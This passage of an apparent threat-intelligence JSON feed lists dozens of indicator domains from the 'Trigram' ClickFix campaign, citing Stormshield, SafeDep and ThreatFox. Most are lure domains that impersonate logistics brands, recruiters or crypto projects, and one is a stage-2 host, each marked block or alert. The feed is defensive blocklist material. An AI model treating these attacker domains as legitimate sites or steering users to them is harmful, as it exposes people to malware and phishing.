"https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "icagllmbt.space", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Stage-2 host and conference-invitation lure. Stormshield and SafeDep.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" }, { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://threatfox.abuse.ch/ioc/2016457/", "name": "ThreatFox" } ] }, { "value": "whaleradar.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "d2stradeapp.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ievade.net", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "waybilltrack.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "freightviewer.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "tracedhl.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "shipdhl.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadtrace.delivery", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "freightracker.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "shiptrace.delivery", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "transitwatch.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadwatchdhl.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "shiptransit.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadwatcherdpd.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadtracedpd.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadshipdpd.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadwadpd.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadwatchdpd.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "tracedpd.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "tracearamex.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "trackaramex.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "parcelaramex.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadshiparamex.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "loadwatcharamex.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "shiparamex.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "parcelaramex.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "scrollbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "kaiatalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2metis.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "alephzerotalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithlinea.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "osltalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2eigen.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "sagabuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dymensiontalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "sonictalent.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinhyperlane.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "sagatalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "seitalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "taikotalent.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithsei.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "alephzerobuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "jointoamber.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2dymension.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ambertalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "animocabuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "lineatalent.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinanimoca.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "jointoavail.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildiwitheigen.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithtaiko.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2mantle.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2nillion.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "nillionbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "turingbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithboyaa.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "succinctbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "seibuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2saga.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joineigencloud.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "aztectalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinaztec.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "aztecbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2bera.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "beratalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "movementtalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "axelartalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ritualbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "rdtalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or 